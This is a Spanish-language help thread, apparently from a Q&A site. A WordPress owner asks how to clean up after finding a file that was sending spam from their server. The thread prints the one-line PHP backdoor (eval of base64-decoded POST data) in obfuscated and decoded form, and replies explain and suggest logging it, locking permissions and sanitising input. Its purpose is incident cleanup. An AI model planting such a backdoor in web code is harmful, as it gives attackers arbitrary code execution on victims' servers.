Archivo PHP malicioso encontrado en mi servidor web, necesito ayuda para limpiar y evitar que esto vuelva a suceder [closed]

6 minutos de lectura

Mi proveedor de alojamiento suspendió recientemente mi sitio web porque algo en él enviaba enormes cantidades de correo electrónico no deseado. Originalmente, el proveedor y yo pensamos que esto se debía a un formulario no seguro para una campaña de correo electrónico que coloqué en el servidor un par de días antes. Eliminé la página con el formulario del servidor, pero el servidor aún enviaba correos electrónicos no deseados.

Encontré un archivo php llamado 7c32.php en la carpeta “css” en el directorio raíz del servidor. Definitivamente no lo logré. Aquí está el código que estaba en el archivo:

<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>

Después de ejecutarlo a través de un decodificador en línea, esto es lo que ocurrió:

if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));

Leí un poco sobre archivos php maliciosos y vi que las cadenas eval( y base64_decode eran muy sospechosas. Revisé el archivo de registro del servidor y vi varias consultas posteriores con este archivo 7c32.php que se originaba en una dirección IP de Arabia Saudita.

Eliminé el archivo php, actualicé todos los temas y complementos obsoletos de wordpress (así como la propia plataforma), y cambié la contraseña del servidor FTP y la cuenta administrativa de WordPress a algo mucho más seguro.

¿Hay algo más que pueda hacer para garantizar que mi servidor sea seguro? Estoy a punto de buscar estas cadenas base64 y eval( en cualquier otro archivo php en el servidor, pero aparte de eso, no tengo ideas.

Este script php parece demasiado corto para causar algún daño, pero ¿qué más puede estar enviando todo ese correo no deseado?

Cualquier ayuda sería muy apreciada.

  • Si eliminó el archivo y actualizó sus temas de WP, diría que no hay mucho que hacer, solo proteja su sitio, negando el permiso de carga/permiso a sus carpetas/

    – samayo

    4 de junio de 2013 a las 5:24


  • Duplicado de: ¿Cómo deshacerse de eval-base64_decode como archivos de virus PHP?

    – kenorb

    27 de mayo de 2016 a las 15:08

eval() es una pequeña construcción de lenguaje muy peligrosa en el sentido de que puede ejecutar prácticamente cualquier pieza de código PHP que se le pase como una cadena, por lo que ciertamente podría ser ese script el que envía el correo, aunque el envío de spam es en realidad bastante no destructivo en cuanto a lo que eval() pudo hacer.

Si su página tenía los permisos para eliminar todos los archivos en su raíz web, eval() también podría hacerlo, simplemente enviando el comando correcto al script a través de POST.

Si realmente quiere asegurarse de que es ese fragmento de código el que envía el correo, vuelva a colocarlo pero modifíquelo a su favor. Evita que se use eval() y, en su lugar, guarde los datos POST en una base de datos o archivo de texto. Es la única manera de saber exactamente para qué se está utilizando este código.

  • ¿Podría decirme cómo hacer esto? No tengo absolutamente ninguna experiencia en PHP, solo estoy aprendiendo de la manera difícil. Averiguar si este es o no el código que envía el spam sería increíble.

    – boguslavsky

    4 de junio de 2013 a las 5:32


  • Pruebe esta línea de código en lugar de lo que había allí: <?php if(isset($_POST["code"])){$log = fopen("malLog", "a");fwrite($log, base64_encode($_POST["code"]) . "\n");fclose($log);}?>. Cada vez que se acceda a la página, intentará abrir (o crear) un archivo llamado “malLog” y escribir en él la cadena que el código incorrecto anterior intentaba eval(). No puedo garantizar que funcione, estoy en el reloj y no tengo tiempo para probarlo correctamente en este momento.

    – Ken Herberto

    4 de junio de 2013 a las 5:47

Este script php parece demasiado corto para causar algún daño, pero ¿qué más puede estar enviando todo ese correo no deseado?

¿Cómo crees que este código es demasiado corto para dañarlo? Es el peor código posible allí con evaluar()

La construcción del lenguaje eval() es muy peligrosa porque permite la ejecución de código PHP arbitrario. Por lo tanto, se desaconseja su uso. Si ha verificado cuidadosamente que no hay otra opción que usar esta construcción, preste especial atención a no pasar ningún dato proporcionado por el usuario sin validarlo correctamente de antemano.

Pueden ejecutar cualquier código PHP usando eso too short código. Eval es MALVADO. No permitir permisos de carga de archivos sin validación

pero, ¿qué más puede estar enviando todo ese correo no deseado?

Ese mismo código muy eval está enviando correos electrónicos. Publican un código de correo electrónico y, a su vez, lo ejecuta y envía el correo electrónico.

  • Ah, ya veo. No tengo ninguna experiencia con PHP, por lo que apenas entendía lo que estaba viendo. ¿Cómo puedo decirle al servidor que no permita los permisos de carga de archivos sin validación?

    – boguslavsky

    4 de junio de 2013 a las 5:34

  • En primer lugar, configure los permisos de su directorio para que sean de solo lectura, de modo que no sea posible cargar nada. En segundo lugar, verifique cualquiera de sus códigos de carga de archivos y / o publíquelos aquí para discutir qué fallas podrían tener. Siempre que reciba una entrada del usuario, debe intentar desinfectarla y no guardarla en el servidor tal como está. Esta laguna debe estar en su formulario de carga de archivos

    – Hanky ​​Panky

    4 de junio de 2013 a las 5:35

  • Ok, entré en Filezilla, seleccioné los tres directorios en la raíz y apliqué los siguientes permisos (sin marcar todo menos leer) i.imgur.com/mklzSfQ.png Perdone mi ignorancia, pero ¿qué son exactamente los códigos de carga de archivos? Gracias por toda tu ayuda por cierto.

    – boguslavsky

    4 de junio de 2013 a las 5:45

  • Quiero decir, ¿tiene algún código HTML o PHP allí donde permita a los usuarios cargar cualquier archivo? ¿O instalaste algún script, etc.?

    – Hanky ​​Panky

    4 de junio de 2013 a las 5:46

  • No, definitivamente no. Las únicas subidas se realizan a través de FTP. Dos preguntas: tengo que volver a cambiar los permisos para subir cosas nuevas al servidor? ¿Puedo hacer que solo yo pueda subir cosas a través de FTP?

    – boguslavsky

    4 de junio de 2013 a las 5:49


¿Ha sido útil esta solución?